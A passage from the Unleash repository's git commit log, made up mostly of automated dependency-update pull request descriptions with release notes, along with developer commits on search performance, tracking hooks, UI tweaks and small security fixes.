- **mime-node:** apply UTS-46 mapping when encoding a domain
([259c32d](https://redirect.github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148))
- **mime-node:** dedupe envelope recipients in linear time
([7cc38af](https://redirect.github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e))
- **mime-node:** flatten parsed addresses without concat.apply
([83b8c48](https://redirect.github.com/nodemailer/nodemailer/commit/83b8c48cbdb8b3116f2e1ba84af755b2c5661c0f))
- **mime-node:** keep the recipient dedupe linear across address headers
([34da642](https://redirect.github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150))
- **mime-node:** keep URL delimiters away from the domain mapper
([b212ac4](https://redirect.github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e))

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-09 01:28:11 +00:00
GitHub Actions Bot 7c96b43fad chore(oss): sync Unleash/unleash main 2026-09-08 22:43:24 +00:00
renovate[bot] ebac51753c chore(deps): update dependency fast-check to v4.9.0 (#12627)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [fast-check](https://fast-check.dev/)
([source](https://redirect.github.com/dubzzz/fast-check/tree/HEAD/packages/fast-check))
| [`4.8.0` →
`4.9.0`](https://renovatebot.com/diffs/npm/fast-check/4.8.0/4.9.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/fast-check/4.9.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-check/4.8.0/4.9.0?slim=true)
|

---

### Release Notes

<details>
<summary>dubzzz/fast-check (fast-check)</summary>

###
[`v4.9.0`](https://redirect.github.com/dubzzz/fast-check/blob/HEAD/packages/fast-check/CHANGELOG.md#490)

[Compare
Source](https://redirect.github.com/dubzzz/fast-check/compare/v4.8.0...v4.9.0)

*Shrinkable `entityGraph` and few performance chips*

\[[Code](https://redirect.github.com/dubzzz/fast-check/tree/v4.9.0)]\[[Diff](https://redirect.github.com/dubzzz/fast-check/compare/v4.8.0...v4.9.0)]

#### Features

- ([PR#7008](https://redirect.github.com/dubzzz/fast-check/pull/7008))
Towards shrinkable `entityGraph` thanks to `chainUntil`

#### Fixes

- ([PR#7010](https://redirect.github.com/dubzzz/fast-check/pull/7010))
Bug: Fix latent state-sharing bug in entityGraph
- ([PR#7063](https://redirect.github.com/dubzzz/fast-check/pull/7063))
Bug: Equiprobable alternatives in `stringMatching`
- ([PR#6973](https://redirect.github.com/dubzzz/fast-check/pull/6973))
CI: Drop caches on push for build package flow
- ([PR#6971](https://redirect.github.com/dubzzz/fast-check/pull/6971))
CI: Only mark fast-check's releases as latest
- ([PR#6974](https://redirect.github.com/dubzzz/fast-check/pull/6974))
CI: Drop pull\_request\_target flows
- ([PR#6975](https://redirect.github.com/dubzzz/fast-check/pull/6975))
CI: Drop discussion creation on release publish
- ([PR#6976](https://redirect.github.com/dubzzz/fast-check/pull/6976))
CI: Drop caches from publication steps
- ([PR#6977](https://redirect.github.com/dubzzz/fast-check/pull/6977))
CI: Revert "Drop caches from publication steps"
- ([PR#6978](https://redirect.github.com/dubzzz/fast-check/pull/6978))
CI: Make zizmor audit a required status check
- ([PR#6991](https://redirect.github.com/dubzzz/fast-check/pull/6991))
CI: Remove Claude Code workflow
- ([PR#6994](https://redirect.github.com/dubzzz/fast-check/pull/6994))
CI: Replace `pnpm dlx` with `pnpm exec` for `pkg-pr-new`
- ([PR#6995](https://redirect.github.com/dubzzz/fast-check/pull/6995))
CI: Inline zizmor ignores in workflow
- ([PR#6996](https://redirect.github.com/dubzzz/fast-check/pull/6996))
CI: Move to `devEngines.packageManager`
- ([PR#7005](https://redirect.github.com/dubzzz/fast-check/pull/7005))
CI: Update PULL\_REQUEST\_TEMPLATE.md
- ([PR#7011](https://redirect.github.com/dubzzz/fast-check/pull/7011))
CI: Drop OTP prompt from npm publish
- ([PR#7013](https://redirect.github.com/dubzzz/fast-check/pull/7013))
CI: Switch release jobs to npm stage publish
- ([PR#7027](https://redirect.github.com/dubzzz/fast-check/pull/7027))
CI: Run benchmarks against `main`
- ([PR#7037](https://redirect.github.com/dubzzz/fast-check/pull/7037))
CI: Use comparison mode for `bench`
- ([PR#7069](https://redirect.github.com/dubzzz/fast-check/pull/7069))
CI: Run pnpm dedupe to deduplicate lockfile
- ([PR#6959](https://redirect.github.com/dubzzz/fast-check/pull/6959))
CI: Announce releases on Bluesky
- ([PR#7105](https://redirect.github.com/dubzzz/fast-check/pull/7105))
CI: Switch to actions/attest for attestations
- ([PR#7117](https://redirect.github.com/dubzzz/fast-check/pull/7117))
CI: Use pnpm version in changelog script
- ([PR#7120](https://redirect.github.com/dubzzz/fast-check/pull/7120))
CI: Allow unclean tree in changelog generation
- ([PR#7125](https://redirect.github.com/dubzzz/fast-check/pull/7125))
CI: Stage publish using `pnpm` in publish jobs
- ([PR#7065](https://redirect.github.com/dubzzz/fast-check/pull/7065))
Clean: Delete skills directory
- ([PR#6983](https://redirect.github.com/dubzzz/fast-check/pull/6983))
Doc: Tweak PR Template to hint AI agents into revealing themselves
- ([PR#7092](https://redirect.github.com/dubzzz/fast-check/pull/7092))
Doc: Add back skills directory
- ([PR#7095](https://redirect.github.com/dubzzz/fast-check/pull/7095))
Doc: Add release notes for fast-check 4.8.0
- ([PR#7104](https://redirect.github.com/dubzzz/fast-check/pull/7104))
Doc: Add makeeno as doc contributor
- ([PR#7103](https://redirect.github.com/dubzzz/fast-check/pull/7103))
Doc: Fix info box in docs
- ([PR#7108](https://redirect.github.com/dubzzz/fast-check/pull/7108))
Doc: Add jneidel as doc contributor
- ([PR#7035](https://redirect.github.com/dubzzz/fast-check/pull/7035))
Performance: Faster `fc.integer` on `generate`
- ([PR#7046](https://redirect.github.com/dubzzz/fast-check/pull/7046))
Performance: Faster fc.record on generate
- ([PR#7047](https://redirect.github.com/dubzzz/fast-check/pull/7047))
Performance: Faster fc.dictionary on generate
- ([PR#7048](https://redirect.github.com/dubzzz/fast-check/pull/7048))
Performance: Faster `fc.webPath`/`fc.webUrl` on `generate`
- ([PR#7050](https://redirect.github.com/dubzzz/fast-check/pull/7050))
Performance: Faster `fc.stringMatching` for `\W` `\D` `\S` `.`
- ([PR#7054](https://redirect.github.com/dubzzz/fast-check/pull/7054))
Performance: Faster `fc.stringMatching` on `generate`
- ([PR#7049](https://redirect.github.com/dubzzz/fast-check/pull/7049))
Performance: Drop nested `tuple` on `generate` for `fc.record`
- ([PR#7045](https://redirect.github.com/dubzzz/fast-check/pull/7045))
Performance: Faster `fc.entityGraph` on `generate`
- ([PR#7071](https://redirect.github.com/dubzzz/fast-check/pull/7071))
Performance: Early exit on empty tuple in `fc.entityGraph`
- ([PR#7004](https://redirect.github.com/dubzzz/fast-check/pull/7004))
Refactor: Extract code from `onTheFlyLinksForEntityGraph`
- ([PR#7006](https://redirect.github.com/dubzzz/fast-check/pull/7006))
Refactor: Move `generate` logic to the `Arbitrary` for `entityGraph`
- ([PR#7007](https://redirect.github.com/dubzzz/fast-check/pull/7007))
Refactor: Introduce `ProductionState` for `onTheFlyLinks...`
- ([PR#6990](https://redirect.github.com/dubzzz/fast-check/pull/6990))
Script: Skip scripts during `pnpm i` in changelog generation
- ([PR#7039](https://redirect.github.com/dubzzz/fast-check/pull/7039))
Script: More benchmark commands
- ([PR#6972](https://redirect.github.com/dubzzz/fast-check/pull/6972))
Security: Pass `--ignore-scripts` to `pnpm i` calls
- ([PR#7028](https://redirect.github.com/dubzzz/fast-check/pull/7028))
Test: Add benchmarks for key arbitraries
- ([PR#7034](https://redirect.github.com/dubzzz/fast-check/pull/7034))
Test: Expand benchmark coverage across arbitrary families
- ([PR#7041](https://redirect.github.com/dubzzz/fast-check/pull/7041))
Test: Add runners related benchs
- ([PR#7064](https://redirect.github.com/dubzzz/fast-check/pull/7064))
Test: Clarify arbitrary benchmark names
- ([PR#7068](https://redirect.github.com/dubzzz/fast-check/pull/7068))
Test: More reliable arbitraries.bench.ts
- ([PR#7088](https://redirect.github.com/dubzzz/fast-check/pull/7088))
Typo: Typo in type `EntityGraphContraints`

***

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-08 22:42:39 +00:00
renovate[bot] b1c9598a8b chore(deps): update dependency helmet to v8.3.0 (#12628)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [helmet](https://helmet.js.org/)
([source](https://redirect.github.com/helmetjs/helmet)) | [`8.2.0` →
`8.3.0`](https://renovatebot.com/diffs/npm/helmet/8.2.0/8.3.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/helmet/8.3.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/helmet/8.2.0/8.3.0?slim=true)
|

---

### Release Notes

<details>
<summary>helmetjs/helmet (helmet)</summary>

###
[`v8.3.0`](https://redirect.github.com/helmetjs/helmet/blob/HEAD/CHANGELOG.md#830---2026-07-11)

[Compare
Source](https://redirect.github.com/helmetjs/helmet/compare/v8.2.0...v8.3.0)

##### Changed

- `Content-Security-Policy`: improved performance by \~7% when there are
no dynamic directives
- `Content-Security-Policy`: improved error handling for invalid
directive names

##### Fixed

- `Content-Security-Policy`: `useDefaults: false` with no directives is
no longer valid, both at runtime and the type level
- `Content-Security-Policy`: dynamically-computed directive values would
`throw`, not call `next`, when invalid
- `Content-Security-Policy`: dynamically-computed directive value
entries would `throw`, not call `next`, when function threw

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-08 22:42:31 +00:00
GitHub Actions Bot 874eb859bb chore(oss): sync Unleash/unleash main 2026-09-08 19:06:20 +00:00
renovate[bot] 72c062520e chore(deps): update dependency express-rate-limit to v8.7.0 (#12626)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[express-rate-limit](https://redirect.github.com/express-rate-limit/express-rate-limit)
| [`8.5.2` →
`8.7.0`](https://renovatebot.com/diffs/npm/express-rate-limit/8.5.2/8.7.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/express-rate-limit/8.7.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/express-rate-limit/8.5.2/8.7.0?slim=true)
|

---

### Release Notes

<details>
<summary>express-rate-limit/express-rate-limit
(express-rate-limit)</summary>

###
[`v8.7.0`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.7.0)

[Compare
Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.6.2...v8.7.0)

You can view the changelog
[here](https://express-rate-limit.mintlify.app/reference/changelog).

###
[`v8.6.2`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.6.2)

[Compare
Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.6.1...v8.6.2)

You can view the changelog
[here](https://express-rate-limit.mintlify.app/reference/changelog).

###
[`v8.6.1`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.6.1)

[Compare
Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.6.0...v8.6.1)

You can view the changelog
[here](https://express-rate-limit.mintlify.app/reference/changelog).

###
[`v8.6.0`](https://redirect.github.com/express-rate-limit/express-rate-limit/releases/tag/v8.6.0)

[Compare
Source](https://redirect.github.com/express-rate-limit/express-rate-limit/compare/v8.5.2...v8.6.0)

You can view the changelog
[here](https://express-rate-limit.mintlify.app/reference/changelog).

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-08 19:05:44 +00:00
renovate[bot] e8ad43225e chore(deps): update dependency cypress to v15.21.1 (#12625)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [cypress](https://cypress.io)
([source](https://redirect.github.com/cypress-io/cypress)) | [`15.18.0`
→ `15.21.1`](https://renovatebot.com/diffs/npm/cypress/15.18.0/15.21.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/cypress/15.21.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/cypress/15.18.0/15.21.1?slim=true)
|

---

### Release Notes

<details>
<summary>cypress-io/cypress (cypress)</summary>

###
[`v15.21.1`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.21.1)

[Compare
Source](https://redirect.github.com/cypress-io/cypress/compare/v15.21.0...v15.21.1)

Changelog: <https://docs.cypress.io/app/references/changelog#15-21-1>

###
[`v15.21.0`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.21.0)

[Compare
Source](https://redirect.github.com/cypress-io/cypress/compare/v15.20.1...v15.21.0)

Changelog: <https://docs.cypress.io/app/references/changelog#15-21-0>

###
[`v15.20.1`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.20.1)

[Compare
Source](https://redirect.github.com/cypress-io/cypress/compare/v15.20.0...v15.20.1)

Changelog: <https://docs.cypress.io/app/references/changelog#15-20-1>

###
[`v15.20.0`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.20.0)

[Compare
Source](https://redirect.github.com/cypress-io/cypress/compare/v15.19.0...v15.20.0)

Changelog: <https://docs.cypress.io/app/references/changelog#15-20-0>

###
[`v15.19.0`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.19.0)

[Compare
Source](https://redirect.github.com/cypress-io/cypress/compare/v15.18.1...v15.19.0)

Changelog: <https://docs.cypress.io/app/references/changelog#15-19-0>

###
[`v15.18.1`](https://redirect.github.com/cypress-io/cypress/releases/tag/v15.18.1)

[Compare
Source](https://redirect.github.com/cypress-io/cypress/compare/v15.18.0...v15.18.1)

Changelog: <https://docs.cypress.io/app/references/changelog#15-18-1>

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-08 19:05:23 +00:00
Mateusz Prusaczyk 4526268a5f feat(strategies) - simpler strategy setup - part 5a - refactor to simplify the components structure 2026-09-08 14:40:56 +02:00
GitHub Actions Bot c1fd79276b chore(oss): sync Unleash/unleash main 2026-09-08 12:24:45 +00:00
Henning A. Sillerud 5f07dd53e1 UX Tweak: Reduced spacing at sides of main content (#12598) 2026-09-08 14:23:58 +02:00
Øystein Lorentzen Vesth bfeb07963f feat: moves Addon project filter from frontend to backend
Adds an optional `?project=` query parameter to the `/api/admin/addons` resource. In turn moving filtering from frontend to backend. Filtering
is done on the backend but all integrations are fetched from the
database, same as for context etc.
2026-09-08 14:16:17 +02:00
GitHub Actions Bot eb11a49b0f chore(oss): sync Unleash/unleash main 2026-09-08 11:51:12 +00:00
Gastón Fournier 36876cb932 chore: revert rate limit search features and add proper types
Reverts bricks-software/unleash-enterprise#1738

Also adds proper types which uncovered a bit of technical debt that was
paid 💰
2026-09-08 13:44:58 +02:00
Henning A. Sillerud fc0756c0f0 refactor: colour system cleanup — container recipe + palette semantics (#12574)
The main purpose of this PR is to make it easier for designers,
engineers and agents to know which color to use where. It fixes
inconsistencies with the colors and makes them them easier to maintain
while being somewhat consistent with MUI.
2026-09-08 13:43:03 +02:00
Gastón Fournier 4709ac9cd1 perf: aggregate feature search tags after paging
## Summary

- move tag hydration out of `ranked_features` and aggregate tags only
after pagination
- return one JSON tag array per paginated feature, including tag-type
colors
- filter tag inclusions through the existing feature-name subquery
instead of joined tag rows
- verify that filtering by one tag still hydrates all tags on each
matching feature

## Stack

- Base: #1761
- This PR implements the tags portion of
https://github.com/bricks-software/unleash-enterprise/pull/1747#discussion_r3948351331
- Environment aggregation remains a separate follow-up because
environments participate in ranking, status, metrics, change requests,
and release plans

This PR depends on the `paginated_features` CTE introduced in #1761. It
removes the environments × tags row multiplication from ranking and
limits tag aggregation to the requested page.

## Benchmark

Local benchmark against #1761 using three paired runs and reporting the
median. Fixture: 1,064 features, 17 environments, one strategy per
environment, 91 segments, one metrics application with 48 hourly
samples, five tags per feature, and page size 25.

| Scenario | #1761 latency | This PR | Latency change | #1761 throughput
| This PR | Throughput change |
| --- | ---: | ---: | ---: | ---: | ---: | ---: |
| One request | 405.18 ms | 82.56 ms | -79.6% | 2.47 req/s | 12.11 req/s
| +390.8% (4.91×) |
| Four concurrent requests | 507.91 ms/batch | 110.10 ms/batch | -78.3%
| 7.88 req/s | 36.33 req/s | +361.3% (4.61×) |

The original zero-tag fixture remains effectively unchanged at
concurrency (109.44 → 109.27 ms/batch); its single-request median varied
from 81.38 → 85.15 ms (+4.6%), within the observed run-to-run noise.

The benchmark harness and reproduction instructions are preserved in
independent draft PR #1764. It measures store calls against PostgreSQL,
not end-to-end HTTP endpoint capacity.
2026-09-08 13:40:03 +02:00
Jaanus Sellin 4cc2b0f99b perf: avoid OR-join on dependent_features in feature search (#12624) 2026-09-08 14:38:49 +03:00
Gastón Fournier 1ce2bdd512 perf: scope feature search metrics to requested page
## Summary

- add a `paginated_features` Common Table Expression (CTE) after the
full result set has been ranked
- aggregate the last hour of usage metrics only for features on the
requested page
- preserve the full matching-feature count used by pagination
- cover paginated results with their environment metrics in the search
E2E suite

## Context

This is the performance follow-up to #1747. That PR removed the
segment-row explosion; profiling the resulting query left metrics
aggregation as the next material cost because it still joined
`client_metrics_env` against every matching feature before pagination.

The review suggestion in
https://github.com/bricks-software/unleash-enterprise/pull/1747#discussion_r3948351331
remains useful but separate: tags can likely use the same
pre-aggregation pattern as segments, while environments also drive
status, sorting, metrics, change requests, and release plans. This PR
keeps that broader structural work out and addresses the measured next
bottleneck.

## Benchmark

Local benchmark against post-#1747 `main`, using three paired runs and
reporting the median. Fixture: 1,064 features, 17 environments, one
strategy per environment, 91 segments, one metrics application with 48
hourly samples, page size 25.

| Scenario | Baseline latency | This PR | Latency change | Baseline
throughput | This PR | Throughput change |
| --- | ---: | ---: | ---: | ---: | ---: | ---: |
| One request | 115.15 ms | 81.38 ms | -29.3% | 8.68 req/s | 12.29 req/s
| +41.5% |
| Four concurrent requests | 156.28 ms/batch | 109.44 ms/batch | -30.0%
| 25.59 req/s | 36.55 req/s | +42.8% |

The benchmark harness and reproduction instructions are preserved in
independent draft PR #1764. It measures store calls against PostgreSQL,
not end-to-end HTTP endpoint capacity; the harness is not included in
this optimization PR.
2026-09-08 13:30:20 +02:00
Gergo Kekesi da9c5c3031 feat(tracking): track API token and environment journeys
Adds tracking to API token and project environment journeys — create,
delete, copy, and environment hide/show, all carrying name and
environment but never the secret. Previously untracked archive dialogs
(flag exposure, metadata panel, cleanup reminder) now join
`flag-actions`.

All event and type names are kebab-case; nothing here is live yet, so
this is the only window to fix naming for free. Two series pick up new
volume: admin API token actions (`/admin/api`) now emit into
`project-api-tokens` for the first time, and onboarding token creation
joins the canonical create journey.
2026-09-08 12:04:26 +01:00
Gergo Kekesi 65c526a684 refactor(tracking): one bound useTracking hook, no dialog hook
One `useTracking(declaration)` hook, with the old primitives folded in.
This PR basically unifies the vocabulary as I've discovered some issues
along the way and this will help us arrive at a convention we can use.

Details:
- `useTracking(declaration)` is the only form. If a component tracks
several journeys it calls the hook once per declaration. I dropped the
unbound version, it only served picking the journey inside a handler,
which we shouldn't do anyway.
- `track`, `trackMutation`, `trackValidationFailed` are the whole
vocabulary; `emitTrackingAction` and `runTrackedMutation` are inlined
and deleted.
- `useDialogTracking` is gone too. Its dedupe was hiding two places
where dismissed fired twice (Dialogue escape + MUI onClose, Feedback
click-away + backdrop). Fixed those at the source, so dismissed is just
`track('dismissed')`.
- `Dialogue` and `SidebarModal` take a `tracking` prop and emit `opened`
and `dismissed` themselves. No declaration, no rows.
- `CreateFeatureDialog`, `ProjectAccess`, `ImportModal` and
`FeedbackComponent` migrated as the first consumers. Added tests for the
hook and for Dialogue.
- ADR is #1749, needs updating for this. Every other open tracking PR
builds on this hook.
2026-09-08 10:55:05 +00:00
Jaanus Sellin 387c03e66b fix: hide SSO options on the invitation screen (#12622)
## Changes

- Hide the SSO buttons and the "or sign-up with an email address"
divider when the screen was reached via an invite link (`?invite=…`).
- The password-reset flow (`?token=…`) is unchanged.
- On SSO-only instances (`defaultHidden: true`), where the signup form
is hidden anyway, the buttons still render — otherwise the screen would
be blank.
2026-09-08 13:49:42 +03:00
Jaanus Sellin 5de9fbb585 test: raise global vitest timeouts for the frontend suite (#12623)
The frontend suite ran on vitest's 5s default timeout, with 17
hand-rolled per-test overrides (`}, 10000)` / `}, 16000)`) sprinkled
across the slowest tests. Under parallel-worker load on CI those
ceilings were routinely crossed, producing timeout failures unrelated to
whatever change was under test.

## Changes

- Set `testTimeout: 30_000` and `hookTimeout: 30_000` in
`frontend/vite.config.mts`.
- Remove all 17 per-test timeout overrides. Every one of them was
*below* the new global, so leaving them in place would have kept exactly
the slowest tests failing.
2026-09-08 13:43:10 +03:00
Fredrik Strand Oseberg 126a78b6e4 feat: allow uxtweak survey submissions through the CSP
Add submitUrl to connect-src to allow posting from Unleash.
2026-09-08 12:22:26 +02:00
Mateusz Prusaczyk c354caffdd feat(strategies): simpler strategy setup - part 4 - more strategies dropdown menu
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-08 12:13:59 +02:00
Github Actions Bot 66d4a45c1d 8.2.0 v8.2.0 2026-09-08 09:56:49 +00:00
Github Actions Bot ae957f9071 docs: Update CHANGELOG.md 2026-09-08 09:56:37 +00:00
Mateusz Prusaczyk 07694b3e42 feat(strategies): simpler strategy setup - part 3: the two setup cards
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-08 07:39:37 +00:00
Alexandra 93b9321337 fix: cross-project IDOR on feature-dependency routes 2026-09-08 09:15:31 +02:00
renovate[bot] 89feebb8db chore(deps): update dependency countries-and-timezones to v3.10.0 (#12621)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[countries-and-timezones](https://redirect.github.com/manuelmhtr/countries-and-timezones)
| [`3.9.0` →
`3.10.0`](https://renovatebot.com/diffs/npm/countries-and-timezones/3.9.0/3.10.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/countries-and-timezones/3.10.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/countries-and-timezones/3.9.0/3.10.0?slim=true)
|

---

### Release Notes

<details>
<summary>manuelmhtr/countries-and-timezones
(countries-and-timezones)</summary>

###
[`v3.10.0`](https://redirect.github.com/manuelmhtr/countries-and-timezones/blob/HEAD/CHANGELOG.md#3100---2026-08-02)

[Compare
Source](https://redirect.github.com/manuelmhtr/countries-and-timezones/compare/v3.9.0...v3.10.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-07 20:49:38 +00:00
renovate[bot] 768a222e01 chore(deps): update dependency @codemirror/state to v6.7.2 (#12620)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| @&#8203;codemirror/state | [`6.7.1` →
`6.7.2`](https://renovatebot.com/diffs/npm/@codemirror%2fstate/6.7.1/6.7.2)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@codemirror%2fstate/6.7.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@codemirror%2fstate/6.7.1/6.7.2?slim=true)
|

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-07 20:49:32 +00:00
zagorski cc391c4bfc fix(addons): treat single-character templates as valid in ServiceNow and webhook addons
`crCreationNoteTemplate` (ServiceNow) and `bodyTemplate` (webhook)
rejected any template of length <= 1, so a legitimate one-character
